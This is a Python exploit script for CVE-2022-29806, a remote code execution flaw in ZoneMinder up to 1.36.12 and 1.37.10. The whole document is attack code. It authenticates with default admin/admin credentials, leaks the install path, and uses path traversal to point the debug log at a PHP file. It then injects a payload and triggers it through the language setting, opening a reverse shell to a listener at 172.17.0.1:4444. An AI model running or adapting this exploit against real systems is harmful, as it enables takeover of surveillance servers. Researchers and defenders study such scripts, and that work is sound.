#!/usr/bin/env python # Exploit Title: ZoneMinder <= 1.36.12, <= 1.37.10 - Remote Code Execution # Date: 04/27/2022 # Exploit Author: krastanoel # Vulnerability Discovery By: krastanoel # Vendor Homepage: https://zoneminder.com/ # Software Link: https://github.com/ZoneMinder/zoneminder/archive/refs/tags/1.36.12.tar.gz # Version: <= 1.36.12, <= 1.37.10 # Tested on: Linux - Debian Bullseye # Ref : https://krastanoel.com/cve/2022-29806 # CVE : CVE-2022-29806 import re, requests import json, uuid, time import argparse, sys # Change this payload = ''' /dev/tcp/172.17.0.1/4444 0<&1 2>&1'"); ?>''' def print_status(message): print("\033[34m[*]\033[0m {}:{} - {}".format(host,port,message)) def print_bad(message): m = "Exploit aborted due to failure: unexpected-reply:" print("\033[31m[-]\033[0m {} - {}:{} - {}".format(m,host,port,message)) def check(): u = "{}/index.php".format(url) try: r = requests.get(u, timeout=5) if r.status_code != 200: print_bad("Check URI Path, unexpected HTTP response code: {}".format(r.status_code)) exit() except(requests.exceptions.ConnectTimeout, requests.exceptions.ConnectionError) as e: print_bad("Could not connect to web service - no response") exit() # Check if auth enabled if 'ZoneMinder Login' in r.content.decode(): data = {'action':'login','view':'login','username':username,'password':password} csrf_magic = re.search('csrfMagicToken = "([^"]+)', r.content.decode()) if csrf_magic: csrf_magic = csrf_magic.group(1) data['__csrf_magic'] = csrf_magic r = requests.post(u, data = data) if 'ZM - Login' in r.content.decode(): print_bad("Service found, but authentication failed") exit() else: r = requests.get(url, cookies = r.cookies) # Check version version = re.search('v(1.\d+.\d+)', r.content.decode()).group(1) major, minor, patch = version.split(".") if int(minor) <= affected_minor_version: print_status("The target appears to be vulnerable.") else: print_bad("The target is not exploitable.") exit() return r.cookies def exploit(): cookies = check() print_status('Leak installation directory path') random_path = uuid.uuid4().hex[0:10] u = "{}/index.php?view={}".format(url,random_path) requests.get(u, cookies = cookies) u = "{}/index.php".format(url) r = requests.get(u, cookies = cookies) data = {'view':'request','request':'log','task':'query','limit':'10'} csrf_magic = re.search('csrfMagicToken = "([^"]+)', r.content.decode()) if csrf_magic: csrf_magic = csrf_magic.group(1) data['__csrf_magic'] = csrf_magic r = requests.post(u, cookies = cookies, data = data) s = re.search('({"result":.*})', r.content.decode()) request_log = json.loads(s.group(1)) if 'rows' in request_log: # Check for latest version key first v1.36.x key = 'rows' else: key = 'logs' path = None for log in request_log[key]: if random_path in log['Message']: path = log['File'] if path and path != "index.php": path = "/".join(path.split("/")[0:-1]) elif path and path == "index.php": path = "/usr/share/zoneminder/www" # probably using nginx, fallback to default directory and pray else: print_bad("Service found, but can't leak installation directory path") exit() fname = uuid.uuid4().hex[0:10] + ".php" traverse_path = "".join([ "../" for x in "{}/lang".format(path).split("/")[1:]]) shell = traverse_path + "tmp/{}".format(fname) data = {'view':'options','tab':'logging','action':'options', 'newConfig[ZM_LOG_DEBUG]':'1', 'newConfig[ZM_LOG_DEBUG_FILE]':shell} if csrf_magic: data['__csrf_magic'] = csrf_magic requests.post(u, cookies = cookies, data = data) print_status("Shell: {}".format(shell)) data = {'view':'request','request':'log','task':'create','level':'ERR','message':payload,'file':shell} if csrf_magic: data['__csrf_magic'] = csrf_magic requests.post(u, cookies = cookies, data = data) print_status("The reverse shell will trigger in 5 seconds, make sure you have netcat already listen") time.sleep(5) print_status("Check your netcat") lang = shell.replace('.php','') data = {'view':'options','tab':'system','action':'options','newConfig[ZM_LANG_DEFAULT]':lang} if csrf_magic: data['__csrf_magic'] = csrf_magic requests.post(u, cookies = cookies, data = data) example = "Example: {} --rhost 192.168.0.10 --rport 8080 --uri /zm".format(sys.argv[0]) parser = argparse.ArgumentParser(description='ZoneMinder <= 1.36.12, <= 1.37.10 - Remote Code Execution',epilog=example) parser.add_argument('--rhost', type=str, nargs='?', required=True, help='target host') parser.add_argument('--rport', type=int, nargs='?', required=True, help='target port') parser.add_argument('--uri', type=str, nargs='?', default="/zm/", help='target uri') parser.add_argument('--username', type=str, nargs='?', const='admin', default='admin', help='target username') parser.add_argument('--password', type=str, nargs='?', const='admin', default='admin', help='target password') args = parser.parse_args() host = args.rhost port = args.rport uri = args.uri username = args.username password = args.password affected_minor_version = 36 url = "http://{}:{}{}".format(host,port,uri) exploit()